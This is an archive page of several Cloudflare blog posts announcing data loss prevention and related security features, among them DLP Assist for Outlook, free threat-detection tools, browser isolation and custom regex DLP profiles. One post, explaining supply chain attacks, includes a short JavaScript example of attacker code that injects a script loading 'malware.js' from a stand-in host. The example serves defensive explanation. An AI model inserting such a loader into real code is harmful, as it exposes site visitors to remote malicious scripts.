Tag Archives: Data Loss Prevention

Enhance data protection in Microsoft Outlook with Cloudflare One’s new DLP Assist

Post Syndicated from Ayush Kumar original https://blog.cloudflare.com/enhance-data-protection-in-microsoft-outlook-with-cloudflare-ones-new-dlp/

Cloudflare Email Security customers using Microsoft Outlook can now enhance their data protection using our new DLP Assist capability. This application scans emails in real time as users compose them, identifying potential data loss prevention (DLP) violations, such as Social Security or credit card numbers. Administrators can instantly alert users of violations and take action downstream, whether by blocking or encrypting messages, to prevent sensitive information from leaking. DLP Assist is lightweight, easy to deploy, and helps organizations maintain compliance without disrupting workflow.

Making DLP more accessible

After speaking with our customers, we discovered a common challenge: many wanted to implement a data loss prevention policy for Outlook, but found existing solutions either too complex to set up or too costly to adopt.

That’s why we created DLP Assist to be a lightweight application that can be installed in minutes. Unlike other solutions, it doesn’t require changes to outbound email connectors or provide concerns about IP reputation to customers. By fully leveraging the Microsoft ecosystem, DLP Assist makes email DLP accessible to all organizations, whether they have dedicated IT teams or none at all.

We also recognized that traditional DLP solutions often demand significant financial investment in not just software but also in team members to configure and monitor them. DLP Assist aims to eliminate these barriers. Customers can use the application as part of our Email Security product, avoiding the need for additional purchases. Plus, with our DLP engine powered by optical character recognition (OCR), confidence levels, and other detection mechanisms, organizations don’t need a dedicated team to constantly oversee it. 

By eliminating the complexities of legacy DLP and email systems, we allow customers to quickly begin preventing the unauthorized egress of sensitive data. With DLP Assist, organizations can be confident in controlling and protecting the information that leaves their environment.

How does it work?

Our DLP Assist is an application that integrates with the Desktop (Mac and Windows) and Web Outlook clients, passively scanning emails as they are composed. Running in the background within Microsoft Outlook, DLP Assist continuously monitors new text and attachments added to emails that users are drafting. 

When a customer downloads and installs the application, Cloudflare creates a unique client ID specifically for emails read from the DLP Assist application, which serves as an identifier solely for use by DLP Assist within Cloudflare’s backend. When a user begins drafting a message, the DLP Assist application invokes several Microsoft Outlook APIs to gather information about how the message is changing. These APIs let the Cloudflare application continuously access different parts of the message like subject, body, attachments, etc. While the application is reading the changes within the message, it also establishes a secure, encrypted connection with a Cloudflare Worker. 

As raw data about the email and attachments is sent to the Worker, the Worker relays the information to our DLP engine, which is at the heart of our scanning process. It leverages OCR technology to analyze attachments, extract text from images, and detect DLP violations across both email content and embedded data. It also examines raw text to ensure a comprehensive analysis of every part of the email and its attachments. While our engine supports most attachment types, it currently does not process video or audio files.

The DLP engine runs on all of our servers, and we also store the customer DLP profile configuration data on all of our servers. By keeping DLP policy configuration data on all servers alongside our analysis engine, we eliminate the need to reroute requests across our network allowing for low-latency, real-time DLP checks. The customer’s client ID enables us to find and apply their defined DLP profiles and accurately determine policy violations, delivering results directly to the Cloudflare Worker. If a violation is found, the Worker responds to the application to take action within Outlook. 

Our architecture ensures real-time scanning with minimal latency, as end users are always near a Cloudflare Worker, regardless of their location. Additionally, this design provides built-in resilience — if a Cloudflare Worker becomes unavailable, another can take over, allowing for uninterrupted DLP enforcement. By scanning in real time, this allows us to provide immediate feedback to the user about any DLP violations that they have within their email, rather than the user having to wait till the message has been sent. 

If a violation is detected, the application first displays an insight message — a ribbon notification at the top of the email — alerting the user to the issue. Administrators have full control over this message and can customize it to provide specific guidance or warnings. We find that most of our customers point users to documentation reminding them what is allowed to be sent outside of the organization. 


When a DLP violation occurs, DLP Assist also injects a header into the EML file to indicate the violation. If the user removes the content that is in violation, the header is automatically removed as well.

If the violation remains unchanged, DLP Assist invokes a Microsoft Outlook API which prompts the user with a final warning, giving them another opportunity to revise the message before sending.


If the user proceeds without making changes, the email will be sent from the client with headers embedded into the EML showing that message contains a DLP violation. Organizations can configure their outbound mail transfer agent (MTA) to take appropriate action based on these headers. For those with Microsoft as their outbound MTA, Cloudflare’s DLP Assist integrates with Microsoft Purview, enabling organizations to block, encrypt, or require approval before sending.

For example, if an organization configures Purview to block the email, users will receive a notification similar to this one.


Violations detected by the DLP Assist application can also be sent externally through our Logpush feature. Customers have the flexibility to integrate this data with SIEM or SOAR platforms for deeper analysis, or store it in bucket storage solutions like Cloudflare R2. Additionally, customers can enhance their reporting capabilities by viewing block data directly within their outbound gateway.

As we continue to improve our DLP engine, we’re introducing more advanced ways to analyze messages. During Security Week 2025, we’re unveiling new AI methodologies that automatically fine-tune DLP confidence levels using machine learning models. Initially, these enhancements will be rolled out for Gateway violations, but we plan to extend them to email scanning in the near future. For more details, see the associated blog post. 

Cloudflare One’s DLP Assist is designed for quick deployment, enabling organizations to implement a data loss prevention solution with minimal effort. It allows customers to immediately begin scanning emails for sensitive data and take action to prevent unauthorized sharing, ensuring compliance and security from day one.

How can I start using it?

To get started, navigate to the Zero Trust dashboard and click on the Email Security tab. From there, select the Outbound DLP tab.


To install DLP Assist, organizations can download the manifest file, which provides Microsoft with the necessary instructions to install the application within Outlook. Administrators can then upload this manifest file by going to Integrated Apps within the Microsoft 365 Admin Center and selecting Upload Custom Apps:


This application is best suited for use with OWA (Outlook Web Access) and the desktop (Mac and Windows) Outlook client. Due to Microsoft limitations, a stable experience on mobile devices is not yet available.

More information can be found within our developer documentation. 

What’s next?

We’re continuously expanding our solutions to help organizations protect their data. Exciting new DLP and Email Security features are on the way throughout 2025, so stay tuned for upcoming announcements.

To learn more about our DLP and Email Security solutions, reach out to your Cloudflare representative. Want to see our detections in action? Run a free Retro Scan to uncover any potentially malicious messages hiding in your inbox.

A safer Internet with Cloudflare: free threat intelligence, analytics, and new threat detections

Post Syndicated from Michael Tremante original https://blog.cloudflare.com/a-safer-internet-with-cloudflare

Anyone using the Internet likely touches Cloudflare’s network on a daily basis, either by accessing a site protected by Cloudflare, using our 1.1.1.1 resolver, or connecting via a network using our Cloudflare One products.

This puts Cloudflare in a position of great responsibility to make the Internet safer for billions of users worldwide. Today we are providing threat intelligence and more than 10 new security features for free to all of our customers. Whether you are using Cloudflare to protect your website, your home network, or your office, you will find something useful that you can start using with just a few clicks.

These features are focused around some of the largest growing concerns in cybersecurity, including account takeover attacks, supply chain attacks, attacks against API endpoints, network visibility, and data leaks from your network.

More security for everyone

You can read more about each one of these features in the sections below, but we wanted to provide a short summary upfront.

If you are a cyber security enthusiast: you can head over to our new Cloudforce One threat intelligence website to find out about threat actors, attack campaigns, and other Internet-wide security issues.

If you are a website owner: starting today, all free plans will get access to Security Analytics for their zones. Additionally, we are also making DNS Analytics available to everyone via GraphQL.

Once you have visibility, it’s all about distinguishing good from malicious traffic. All customers get access to always-on account takeover attack detection, API schema validation to enforce a positive security model on their API endpoints, and Page Shield script monitor to provide visibility into the third party assets that you are loading from your side and that could be used to perform supply chain-based attacks.

If you are using Cloudflare to protect your people and network: We are going to bundle a number of our Cloudflare One products into a new free offering. This bundle will include the current Zero Trust products we offer for free, and new products like Magic Network Monitoring for network visibility, Data Loss Prevention for sensitive data, and Digital Experience Monitoring for measuring network connectivity and performance. Cloudflare is the only vendor to offer free versions of these types of products.

If you are a new user: We have new options for authentication. Starting today, we are introducing the option to use Google Authentication to sign up and log into Cloudflare, which will make it easier for some of our customers to login, and reduce dependence on remembering passwords, consequently reducing the risk of their Cloudflare account becoming compromised.

And now in more detail:

Threat Intelligence & Analytics

Cloudforce One

Our threat research and operations team, Cloudforce One, is excited to announce the launch of a freely accessible dedicated threat intelligence website. We will use this site to publish both technical and executive-oriented information on the latest threat actor activity and tactics, as well as insights on emerging malware, vulnerabilities, and attacks.

We are also publishing two new pieces of threat intelligence, along with a promise for more. Head over to the new website here to see the latest research, covering an advanced threat actor targeting regional organizations across South and East Asia, as well as the rise of double brokering freight fraud. Future research and data sets will also become available as a new Custom Indicator Feed for customers.

Subscribe to receive email notifications of future threat research.

Security Analytics

Security Analytics gives you a security lens across all of your HTTP traffic, not only mitigated requests, allowing you to focus on what matters most: traffic deemed malicious but potentially not mitigated. This means that, in addition to using Security Events to view security actions taken by our Application Security suite of products, you can use Security Analytics to review all of your traffic for anomalies or strange behavior and then use the insights gained to craft precise mitigation rules based on your specific traffic patterns. Starting today, we are making this lens available to customers across all plans.

Free and Pro plan users will now have access to a new dashboard for Security Analytics where you can view a high level overview of your traffic in the Traffic Analysis chart, including the ability to group and filter so that you can zero in on anomalies with ease. You can also see top statistics and filter across a variety of dimensions, including countries, source browsers, source operating systems, HTTP versions, SSL protocol version, cache status, and security actions.


DNS Analytics

Every user on Cloudflare now has access to the new and improved DNS Analytics dashboard as well as access to the new DNS Analytics dataset in our powerful GraphQL API. Now, you can easily analyze the DNS queries to your domain(s), which can be useful for troubleshooting issues, detecting patterns and trends, or generating usage reports by applying powerful filters and breaking out DNS queries by source.

With the launch of Foundation DNS, we introduced new DNS Analytics based on GraphQL, but these analytics were previously only available for zones using advanced nameservers. However, due to the deep insight these analytics provide, we felt this feature was something we should make available to everyone. Starting today, the new DNS Analytics based on GraphQL can be accessed on every zone using Cloudflare’s Authoritative DNS service under Analytics in the DNS section.


Application threat detection and mitigation

Account takeover detection

65% of Internet users are vulnerable to account takeover (ATO) due to password reuse and the rising frequency of large data breaches. Helping build a better Internet involves making critical account protection easy and accessible for everyone.

Starting today, we’re providing robust account security that helps prevent credential stuffing and other ATO attacks to everyone for free — from individual users to large enterprises — making enhanced features like Leaked Credential Checks and ATO detections available at no cost. 

These updates include automatic detection of logins, brute force attack prevention with minimal setup, and access to a comprehensive leaked credentials database of over 15 billion passwords which will contain leaked passwords from the Have I been Pwned (HIBP) service in addition to our own database. Customers can take action on the leaked credential requests through Cloudflare’s WAF features like Rate Limiting Rules and Custom Rules, or they can take action at the origin by enforcing multi-factor authentication (MFA) or requiring a password reset based on a header sent to the origin.

Setup is simple: Free plan users get automatic detections, while paid users can activate the new features via one click in the Cloudflare dashboard. For more details on setup and configuration, refer to our documentation and use it today!

API schema validation

API traffic comprises more than half of the dynamic traffic on the Cloudflare network. The popularity of APIs has opened up a whole new set of attack vectors. Cloudflare API Shield’s Schema Validation is the first step to strengthen your API security in the face of these new threats.

Now for the first time, any Cloudflare customer can use Schema Validation to ensure only valid requests to their API make it through to their origin.

This functionality stops accidental information disclosure due to bugs, stops developers from haphazardly exposing endpoints through a non-standard process, and automatically blocks zombie APIs as your API inventory is kept up-to-date as part of your CI/CD process.


We suggest you use Cloudflare’s API or Terraform provider to add endpoints to Cloudflare API Shield and update the schema after your code’s been released as part of your post-build CI/CD process. That way, API Shield becomes a go-to API inventory tool, and Schema Validation will take care of requests towards your API that you aren’t expecting.

While APIs are all about integrating with third parties, sometimes integrations are done by loading libraries directly into your application. Next up, we’re helping secure more of the web by protecting users from malicious third party scripts that steal sensitive information from inputs on your pages.

Supply chain attack prevention

Modern web apps improve their users’ experiences and cut down on developer time through the use of third party JavaScript libraries. Because of its privileged access level to everything on the page, a compromised third party JavaScript library can surreptitiously exfiltrate sensitive information to an attacker without the end user or site administrator realizing it’s happened.

To counter this threat, we introduced Page Shield three years ago. We are now releasing Page Shield’s Script Monitor for free to all our users.


With Script Monitor, you’ll see all JavaScript assets loaded on the page, not just the ones your developers included. This visibility includes scripts dynamically loaded by other scripts! Once an attacker compromises the library, it is trivial to add a new malicious script without changing the context of the original HTML by instead including new code in the existing included JavaScript asset:

// Original library code (trusted)
function someLibraryFunction() {
    // useful functionality here
}

// Malicious code added by the attacker
let malScript = document.createElement('script');
malScript.src = 'https://example.com/malware.js';
document.body.appendChild(malScript);

Script Monitor was essential when the news broke of the pollyfill.io library changing ownership. Script Monitor users had immediate visibility to the scripts loaded on their sites and could quickly and easily understand if they were at risk.

We’re happy to extend visibility of these scripts to as much of the web as we can by releasing Script Monitor for all customers. Find out how you can get started here in the docs.

Existing users of Page Shield can immediately filter on the monitored data, knowing whether polyfill.io (or any other library) is used by their app. In addition, we built a polyfill.io rewrite in response to the compromised service, which was automatically enabled for Free plans in June 2024.

Turnstile as a Google Firebase extension 

We’re excited to announce the Cloudflare Turnstile App Check Provider for Google Firebase, which offers seamless integration without the need for manual setup. This new extension allows developers building mobile or web applications on Firebase to protect their projects from bots using Cloudflare’s CAPTCHA alternative. By leveraging Turnstile’s bot detection and challenge capabilities, you can ensure that only authentic human visitors interact with your Firebase backend services, enhancing both security and user experience. Cloudflare Turnstile, a privacy-focused CAPTCHA alternative, differentiates between humans and bots without disrupting the user experience. Unlike traditional CAPTCHA solutions, which users often abandon, Turnstile operates invisibly and provides various modes to ensure frictionless user interactions.

The Firebase App Check extension for Turnstile is easy to integrate, allowing developers to quickly enhance app security with minimal setup. This extension is also free with unlimited usage with Turnstile’s free tier. By combining the strengths of Google Firebase’s backend services and Cloudflare’s Turnstile, developers can offer a secure and seamless experience for their users. 

Cloudflare One

Cloudflare One is a comprehensive Secure Access Service Edge (SASE) platform designed to protect and connect people, apps, devices, and networks across the Internet. It combines services such as Zero Trust Network Access (ZTNA), Secure Web Gateway (SWG), and more into a single solution. Cloudflare One can help everyone secure people and networks, manage access control, protect against cyber threats, safeguard their data, and improve the performance of network traffic by routing it through Cloudflare’s global network. It replaces traditional security measures by offering a cloud-based approach to secure and streamline access to corporate resources.

Everyone now has free access to four new products that have been added to Cloudflare One over the past two years:

This is in addition to the existing network security products already in the Cloudflare One platform:

  • Access for verifying users’ identity and only letting them use the applications they’re meant to be using.

  • Gateway for protecting network traffic that both goes out to the public Internet and into your private network.

  • Cloudflare Tunnel, our app connectors, which includes both cloudflared and WARP Connector for connecting different applications, servers, and private networks to Cloudflare’s network.

  • Cloudflare WARP, our device agent, for securely sending traffic from a laptop or mobile device to the Internet.

Anyone with a Cloudflare account will automatically receive 50 free seats across all of these products in their Cloudflare One organization. Visit our Zero Trust & SASE plans page for more information about our free products and to learn about our Pay-as-you-go and Contract plans for teams above 50 members.

Authenticating with Google

The Cloudflare dashboard itself has become a vital resource that needs to be protected, and we spend a lot of time ensuring Cloudflare user accounts do not get compromised.

To do this, we have increased security by adding additional authentication methods including app-based two-factor authentication (2FA), passkeys, SSO, and Sign in with Apple. Today we’re adding the ability to sign up and sign in with a Google account.

Cloudflare supports several authentication workflows tailored to different use cases. While SSO and passkeys are the preferred and most secure methods of authentication, we believe that providing authentication factors that are stronger than passwords will fill a gap and raise overall average security for our users. Signing in with Google makes life easier for our users and prevents them from having to remember yet another password when they’re already browsing the web with a Google identity.

Sign in with Google is based on the OAuth 2.0 specification, and allows Google to securely share identifying information about a given identity while ensuring that it is Google providing this information, preventing any malicious entities from impersonating Google.

This means that we can delegate authentication to Google, preventing zero knowledge attacks directly on this Cloudflare identity.

Upon coming to the Cloudflare Sign In page, you will be presented with the button below. Clicking on it will allow you to register for Cloudflare, and once you are registered, it will allow you to sign in without typing in a password, using any existing protections you have set on your Google account.

With the launch of this capability, Cloudflare now uses its own Cloudflare Workers to provide an abstraction layer for OIDC-compatible identity providers (such as GitHub and Microsoft accounts), which means our users can expect to see more identity provider (IdP) connection support coming in the future.

At this time, only new customers signing up with Google will be able to sign in with their Google account, but we will be implementing this for more of our users going forward, with the ability to link/de-link social login providers, and we will be adding additional social login methods. Enterprise users with an established SSO setup will not be able to use this method at this time, and those with an established SSO setup based on Google Workspace will be forwarded to their SSO flow, as we consider how to streamline the Access and IdP policies that have been set up to lock down your Cloudflare environment.

If you are new to Cloudflare, and have a Google account, it is easier than ever to start using Cloudflare to protect your websites, build a new service, or try any of the other services that Cloudflare provides.

A safer Internet

One of Cloudflare’s goals has always been to democratize cyber security tools, so everyone can provide content and connect to the Internet safely, even without the resources of large enterprise organizations.

We have decided to provide a large set of new features for free to all Cloudflare users, covering a wide range of security use cases, for web administrators, network administrators, and cyber security enthusiasts.

Log in to your Cloudflare account to start taking advantage of these announcements today. We love feedback on our community forums, and we commit to improving both existing features and new features moving forward.

Watch on Cloudflare TV

One-click data security for your internal and SaaS applications

Post Syndicated from Tim Obezuk original https://blog.cloudflare.com/one-click-zerotrust-isolation/

One-click data security for your internal and SaaS applications

One-click data security for your internal and SaaS applications

Most of the CIOs we talk to want to replace dozens of point solutions as they start their own Zero Trust journey. Cloudflare One, our comprehensive Secure Access Service Edge (SASE) platform can help teams of any size rip out all the legacy appliances and services that tried to keep their data, devices, and applications safe without compromising speed.

We also built those products to work better together. Today, we’re bringing Cloudflare’s best-in-class browser isolation technology to our industry-leading Zero Trust access control product. Your team can now control the data in any application, and what a user can do in the application, with a single click in the Cloudflare dashboard. We’re excited to help you replace your private networks, virtual desktops, and data control boxes with a single, faster solution.

Zero Trust access control is just the first step

Most organizations begin their Zero Trust migration by replacing a virtual private network (VPN). VPN deployments trust too many users by default. In most configurations, any user on a private network can reach any resource on that same network.

The consequences vary. On one end of the spectrum, employees in marketing can accidentally stumble upon payroll amounts for the entire organization. At the other end, attackers who compromise the credentials of a support agent can move through a network to reach trade secrets or customer production data.

Zero Trust access control replaces this model by inverting the security posture. A Zero Trust network trusts no one by default. Every user and each request or connection, must prove they can reach a specific resource. Administrators can build granular rules and monitor comprehensive logs to prevent incidental or malicious access incidents.

Over 10,000 teams have adopted Cloudflare One to replace their own private network with a Zero Trust model. We offer those teams rules that go beyond just identity. Security teams can enforce hard key authentication for specific applications as a second factor. Sensitive production systems can require users to provide the reason they need temporary access while they request permission from a senior manager. We integrate with just about every device posture provider, or you can build your own, to ensure that only corporate devices connect to your systems.

The teams who deploy this solution improve the security of their enterprise overnight while also making their applications faster and more usable for employees in any region. However, once users pass all of those checks we still rely on the application to decide what they can and cannot do.

In some cases, that means Zero Trust access control is not sufficient. An employee planning to leave tomorrow could download customer contact info. A contractor connecting from an unmanaged device can screenshot schematics. As enterprises evolve on their SASE migration, they need to extend Zero Trust control to application usage and data.

Isolate sessions without any client software

Cloudflare’s browser isolation technology gives teams the ability to control usage and data without making the user experience miserable. Legacy approaches to browser isolation relied on one of two methods to secure a user on the public Internet:

  • Document Object Model (DOM) manipulation – unpack the webpage, inspect it, hope you caught the vulnerability, attempt to repack the webpage, deliver it. This model leads to thousands of broken webpages and total misses on zero days and other threats.
  • Pixel pushing – stream a browser running far away to the user, like a video. This model leads to user complaints due to performance and a long tail of input incompatibilities.

Cloudflare’s approach is different. We run headless versions of Chromium, the open source project behind Google Chrome and Microsoft Edge and other browsers, in our data centers around the world. We send the final rendering of the webpage, the draw commands, to a user’s local device.

One-click data security for your internal and SaaS applications

The user thinks it is just the Internet. Highlighting, right-clicking, videos – they all just work. Users do not need a special browser client. Cloudflare’s technology just works in any browser on mobile or desktop. For security teams, they can guarantee that code never executes on the devices in the field to stop Zero-Day attacks.

We added browser isolation to Cloudflare One to protect against attacks that leap out of a browser from the public Internet. However, controlling the browser also gives us the ability to pass that control along to security and IT departments, so they can focus on another type of risk – data misuse.

As part of this launch, when administrators secure an application with Cloudflare’s Zero Trust access control product, they can click an additional button that will force sessions into our isolated browser.

One-click data security for your internal and SaaS applications

When the user authenticates, Cloudflare Access checks all the Zero Trust rules configured for a given application. When this isolation feature is enabled, Cloudflare will silently open the session in our isolated browser. The user does not need any special software or to be trained on any unique steps. They just navigate to the application and start doing their work. Behind the scenes, the session runs entirely in Cloudflare’s network.

Control usage and data in sessions

By running the session in Cloudflare’s isolated browser, administrators can begin to build rules that replace some goals of legacy virtual desktop solutions. Some enterprises deploy virtual desktop instances (VDIs) to sandbox application usage. Those VDI platforms extended applications to employees and contractors without allowing the application to run on the physical device.

Employees and contractors tend to hate this method. The client software required is clunky and not available on every operating system. The speed slows them down. Administrators also need to invest time in maintaining the desktops and the virtualization software that power them.

We’re excited to help you replace that point solution, too. Once an application is isolated in Cloudflare’s network, you can toggle additional rules that control how users interact with the resource. For example, you can disable potential data loss vectors like file downloads, printing, or copy-pasting. Add watermarks, both visible and invisible, to audit screenshot leaks.

You can extend this control beyond just data loss. Some teams have sensitive applications where you need users to connect without inputting any data, but they do not have the developer time to build a “Read Only” mode. With Cloudflare One, those teams can toggle “Disable keyboard” and allow users to reach the service while blocking any input.

One-click data security for your internal and SaaS applications

The isolated solution also integrates with Cloudflare One’s Data Loss Prevention (DLP) suite. With a few additional settings, you can bring comprehensive data control to your applications without any additional engineering work or point solution deployment. If a user strays too far in an application and attempts to download something that contains personal information like social security or credit card numbers, Cloudflare’s network will stop that download while still allowing otherwise approved files.

One-click data security for your internal and SaaS applications

Extend that control to SaaS applications

Most of the customers we hear from need to bring this level of data and usage control to their self-hosted applications. Many of the SaaS tools they rely on have more advanced role-based rules. However, that is not always the case and, even if the rules exist, they are not as comprehensive as needed and require an administrator to manage a dozen different application settings.

To avoid that hassle you can bring Cloudflare One’s one-click isolation feature to your SaaS applications, too. Cloudflare’s access control solution can be configured as an identity proxy that will force all logins to any SaaS application that supports SSO through Cloudflare’s network where additional rules, including isolation, can be applied.

What’s next?

Today’s announcement brings together two of our customers’ favorite solutions – our Cloudflare Access solution and our browser isolation technology. Both products are available to use today. You can start building rules that force isolation or control data usage by following the guides linked here.

Willing to wait for the easy button? Join the beta today for the one-click version that we are rolling out to customer accounts.

Announcing Custom DLP profiles

Post Syndicated from Adam Chalmers original https://blog.cloudflare.com/custom-dlp-profiles/

Announcing Custom DLP profiles

Introduction

Announcing Custom DLP profiles

Where does sensitive data live? Who has access to that data? How do I know if that data has been improperly shared or leaked? These questions keep many IT and security administrators up at night. The goal of data loss prevention (DLP) is to give administrators the desired visibility and control over their sensitive data.

We shipped the general availability of DLP in September 2022, offering Cloudflare One customers better protection of their sensitive data. With DLP, customers can identify sensitive data in their corporate traffic, evaluate the intended destination of the data, and then allow or block it accordingly — with details logged as permitted by your privacy and sovereignty requirements. We began by offering customers predefined detections for identifier numbers (e.g. Social Security #s) and financial information (e.g. credit card #s). Since then, nearly every customer has asked:

“When can I build my own detections?”

Most organizations care about credit card numbers, which use standard patterns that are easily detectable. But the data patterns of intellectual property or trade secrets vary widely between industries and companies, so customers need a way to detect the loss of their unique data. This can include internal project names, unreleased product names, or unannounced partner names.

As of today, your organization can build custom detections to identify these types of sensitive data using Cloudflare One. That’s right, today you are able to build Custom DLP Profile using the same regular expression approach that is used in policy building across our platform.

How to use it

Cloudflare’s DLP is embedded in our secure web gateway (SWG) product, Cloudflare Gateway, which routes your corporate traffic through Cloudflare for fast, safe Internet browsing. As your traffic passes through Cloudflare, you can inspect that HTTP traffic for sensitive data and apply DLP policies.

Building DLP custom profiles follows the same intuitive approach you’ve come to expect from Cloudflare.

First, once within the Zero Trust dashboard, navigate to the DLP Profiles tab under Gateway:

Announcing Custom DLP profiles

Here you will find any available DLP profiles, either predefined or custom:

Announcing Custom DLP profiles

Select to Create Profile to begin a new one.  After providing a name and description, select Add detection entry to add a custom regular expression. A regular expression, or regex, is a sequence of characters that specifies a search pattern in text, and is a standard way for administrators to achieve the flexibility and granularity they need in policy building.

Cloudflare Gateway currently supports regexes in HTTP policies using the Rust regex crate. For consistency, we used the same crate to offer custom DLP detections. For documentation on our regex support, see our documentation.

Regular expressions can be used to build custom PII detections of your choosing, such as email addresses, or to detect keywords for sensitive intellectual property.

Announcing Custom DLP profiles

Provide a name and a regex of your choosing. Every entry in a DLP profile is a new detection that you can scan for in your corporate traffic. Our documentation provides resources to help you create and test Rust regexes.

Below is an example of regex to detect a simple email address:

Announcing Custom DLP profiles

When you are done, you will see the entry in your profile.  You can turn entries on and off in the Status field for easier testing.

Announcing Custom DLP profiles

The custom profile can then be applied to traffic using an HTTP policy, just like a predefined profile. Here both a predefined and custom profile are used in the same policy, blocking sensitive traffic to dlptest.com:

Announcing Custom DLP profiles

Our DLP roadmap

This is just the start of our DLP journey, and we aim to grow the product exponentially in the coming quarters. In Q4 we delivered:

  • Expanded Predefined DLP Profiles
  • Custom DLP Profiles
  • PDF scanning support
  • Upgraded file name logging

Over the next quarters, we will add a number of features, including:

  • Data at rest scanning with Cloudflare CASB
  • Minimum DLP match counts
  • Microsoft Sensitivity Label support
  • Exact Data Match (EDM)
  • Context analysis
  • Optical Character Recognition (OCR)
  • Even more predefined DLP detections
  • DLP analytics
  • Many more!

Each of these features will offer you new data visibility and control solutions, and we are excited to bring these features to customers very soon.

How do I get started?

DLP is part of Cloudflare One, our Zero Trust network-as-a-service platform that connects users to enterprise resources. Our GA blog announcement provides more detail about using Cloudflare One to onboard traffic to DLP.

To get access to DLP via Cloudflare One, reach out for a consultation, or contact your account manager.

Cloudflare Data Loss Prevention now Generally Available

Post Syndicated from Noelle Gotthardt original https://blog.cloudflare.com/inline-dlp-ga/

Cloudflare Data Loss Prevention now Generally Available

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Cloudflare Data Loss Prevention now Generally Available

In July 2022, we announced beta access to our newest Zero Trust product, Data Loss Prevention (DLP). Today, we are even more excited to announce that DLP is Generally Available to customers! Any customer can now get visibility and control of sensitive data moving into, out of, and around their corporate network. If you are interested, check out the bottom of this post.

What is DLP?

Data Loss Prevention helps you overcome one of their biggest challenges: identifying and protecting sensitive data. The migration to the cloud has made tracking and controlling sensitive information more difficult than ever. Employees are using an ever-growing list of tools to manipulate a vast amount of data. Meanwhile, IT and security managers struggle to identify who should have access to sensitive data, how that data is stored, and where that data is allowed to go.

Data Loss Prevention enables you to protect your data based on its characteristics, such as keywords or patterns. As traffic moves into and out of corporate infrastructure, the traffic is inspected for indicators of sensitive data. If the indicators are found, the traffic is allowed or blocked based on the customers’ rules.

The most common use for DLP is the protection of Personally Identifiable Information (PII), but many customers are interested in protecting intellectual property, source code, corporate financial information, or any other information vital to the business. Proper data usage can include who used the data, where the data was sent, and how the data is stored.

How does DLP see my corporate traffic?

DLP is part of Cloudflare One, our Zero Trust network-as-a-service platform that connects users to enterprise resources. Cloudflare One runs traffic from data centers, offices, and remote users, through the Cloudflare network. This offers a wide variety of opportunities to secure the traffic, including validating identity and device posture, filtering corporate traffic to protect from malware and phishing, checking the configurations on SaaS applications, and using Browser Isolation to make web surfing safer for employees. All of this is done with the performance of our global network and managed with one control plane.

Cloudflare Data Loss Prevention now Generally Available

How does it work?

DLP leverages the HTTP filtering abilities of Cloudflare One. As your traffic runs through our network, you can apply rules and route traffic based on information in the HTTP request. There are a wide variety of options for filtering, such as domain, URL, application, HTTP method, and many more. You can use these options to segment the traffic you wish to DLP inspect.

When DLP is applied, the relevant HTTP requests are decompressed, decoded, and scanned for regex matches. Numeric regex matches are then algorithmically validated when possible, such as with checksum calculations or Luhn’s algorithm. However, some numeric detections do not adhere to algorithmic validation, such as US Social Security numbers.

If sensitive data is identified by the detection, the data transfer can be allowed or blocked according to the customer’s ruleset.

How do I use it?

Let’s dive further in to see how this all actually comes to life. To use DLP in the Zero Trust Dashboard, navigate to the DLP Profiles tab under Gateway:

Cloudflare Data Loss Prevention now Generally Available

Decide on the type of data you want to protect. We currently detect credit card numbers and US Social Security numbers, but this is where we intend to grow a robust library of DLP detections.  Our next steps are custom and additional predefined detections, including more international identifiers and financial record numbers, which will be arriving soon.

When you have decided, select Configure to enable detections:

Cloudflare Data Loss Prevention now Generally Available

Enable the detections you want to use. As described above, these card number detections are made using regexes and validated with Luhn’s algorithm. You can make numeric detections for card numbers or detect strings matching card names, such as “American Express.”

Cloudflare Data Loss Prevention now Generally Available

Then apply the detections to a Gateway HTTP policy on the traffic of your choosing. Here we applied DLP to Google Drive traffic. This policy will block uploads and downloads to Google Drive that contain US Social Security Numbers.

Cloudflare Data Loss Prevention now Generally Available

Holistic data protection with Cloudflare Zero Trust

Inspecting HTTP traffic for the presence of sensitive data with DLP is one critical way organizations can reduce the risk of data exfiltration, strengthen regulatory compliance, and improve overall data governance.

Implementing DLP is just one step towards a more holistic approach to securing data.

To that end, our Cloudflare Zero Trust platform offers more comprehensive controls over how any user on any device accesses and interacts with data – all from a single management interface:

We have architected our DLP service to work seamlessly with these ZTNA, SWG, CASB, and other security services. As we continue to deepen our DLP capabilities, this platform approach uniquely equips us to address our customers’ needs with flexibility.

Get Access to Data Loss Prevention

To get access to DLP, reach out for a consultation, or contact your account manager.